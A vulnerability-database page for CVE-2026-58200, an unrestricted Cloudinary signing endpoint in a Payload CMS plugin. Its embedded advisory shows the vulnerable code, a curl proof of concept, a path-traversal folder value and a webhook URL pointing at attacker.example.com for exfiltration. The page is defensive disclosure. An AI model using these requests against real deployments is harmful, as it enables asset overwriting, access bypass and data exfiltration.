Every CVE Search/ Get API key

CVE-2026-58200

@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

7.1 HighFix available

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
Low

Exploit likelihood

0.31%Up 0.1 points since Sep 16, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Record
CVE-2026-58200
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-347
Updated
2026-11-02
EUVDEUVD-2026-78825 7.1

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Record
EUVD-2026-78825
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-h5x8-xp6m-x6q4 7.1

@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin

Summary

@jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.api_sign_request() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including overwrite=true, type=private, notification_url, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.

Details

When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts.

Vulnerable code path (step by step):

  1. cloudinary/src/index.ts:58 — initClientUploads registers the server upload handler.
  2. cloudinary/src/index.ts:68 — The Cloudinary API key is exposed to client handler props by design.
  3. cloudinary/src/index.ts:74-79 — The signing endpoint is mounted at /cloudinary-generate-signature.
  4. cloudinary/src/getGenerateSignature.ts:18 — The default access control checks only !!req.user, permitting any authenticated user.
  5. cloudinary/src/getGenerateSignature.ts:46 — The entire request body is parsed: const body = await req.json?.().
  6. cloudinary/src/getGenerateSignature.ts:55 — Vulnerable sink: attacker-controlled body.paramsToSign is forwarded verbatim to the signing function.
// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()

if (!body?.paramsToSign) {
  return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}

// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)

There are no mitigations in place:

  • No parameter key allowlist (attacker can include overwrite, type, notification_url, invalidate, etc.)
  • No folder/public_id policy enforcement (the plugin's folder option from index.ts is never passed to getGenerateSignature)
  • No timestamp freshness check
  • No restriction on path traversal sequences in folder or public_id

Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:

| Case | paramsToSign | Impact | |------|-------------|--------| | CASE-2 | folder=attacker-controlled, overwrite=true | Overwrite any existing asset | | CASE-3 | type=private, public_id=admin-document | Change asset visibility / bypass access control | | CASE-4 | notification_url=http://attacker.example.com/exfil | SSRF / data exfiltration via Cloudinary webhook | | CASE-5 | folder=../../../../admin-assets, invalidate=true | Path traversal + CDN cache invalidation |

Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.

PoC

Prerequisites:

  • @jhb.software/[email protected] deployed with clientUploads: true
  • An authenticated Payload session (any privilege level)
  • Knowledge of CLOUDINARY_CLOUD_NAME and the client-exposed API key (exposed by design at index.ts:68)

Step 1 — Obtain a signature for arbitrary parameters (bash):

TS=$(date +%s)

SIG=$(curl -s \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
  --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
  | jq -r .signature)

echo "Obtained…
Record
GHSA-h5x8-xp6m-x6q4
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-347
Updated
2026-11-02
NVD 7.1

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Record
CVE-2026-58200
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-347
Updated
2026-11-02
OSV 7.1

@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Record
CVE-2026-58200
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-347
Updated
2026-11-02
OSVGHSA-h5x8-xp6m-x6q4 7.1

@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin

Summary

@jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.api_sign_request() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including overwrite=true, type=private, notification_url, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.

Details

When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts.

Vulnerable code path (step by step):

  1. cloudinary/src/index.ts:58 — initClientUploads registers the server upload handler.
  2. cloudinary/src/index.ts:68 — The Cloudinary API key is exposed to client handler props by design.
  3. cloudinary/src/index.ts:74-79 — The signing endpoint is mounted at /cloudinary-generate-signature.
  4. cloudinary/src/getGenerateSignature.ts:18 — The default access control checks only !!req.user, permitting any authenticated user.
  5. cloudinary/src/getGenerateSignature.ts:46 — The entire request body is parsed: const body = await req.json?.().
  6. cloudinary/src/getGenerateSignature.ts:55 — Vulnerable sink: attacker-controlled body.paramsToSign is forwarded verbatim to the signing function.
// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()

if (!body?.paramsToSign) {
  return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}

// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)

There are no mitigations in place:

  • No parameter key allowlist (attacker can include overwrite, type, notification_url, invalidate, etc.)
  • No folder/public_id policy enforcement (the plugin's folder option from index.ts is never passed to getGenerateSignature)
  • No timestamp freshness check
  • No restriction on path traversal sequences in folder or public_id

Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:

| Case | paramsToSign | Impact | |------|-------------|--------| | CASE-2 | folder=attacker-controlled, overwrite=true | Overwrite any existing asset | | CASE-3 | type=private, public_id=admin-document | Change asset visibility / bypass access control | | CASE-4 | notification_url=http://attacker.example.com/exfil | SSRF / data exfiltration via Cloudinary webhook | | CASE-5 | folder=../../../../admin-assets, invalidate=true | Path traversal + CDN cache invalidation |

Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.

PoC

Prerequisites:

  • @jhb.software/[email protected] deployed with clientUploads: true
  • An authenticated Payload session (any privilege level)
  • Knowledge of CLOUDINARY_CLOUD_NAME and the client-exposed API key (exposed by design at index.ts:68)

Step 1 — Obtain a signature for arbitrary parameters (bash):

TS=$(date +%s)

SIG=$(curl -s \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
  --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
  | jq -r .signature)

echo "Obtained…
Record
GHSA-h5x8-xp6m-x6q4
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-347
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@jhb.software/payload-cloudinary-plugin
npm
0.3.0 up to 0.4.0
0.4.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-58200 is a high vulnerability (CVSS 7.1) in Jhb-software Payload-plugins, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 24th percentile. Fixed in @jhb.software/payload-cloudinary-plugin 0.4.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open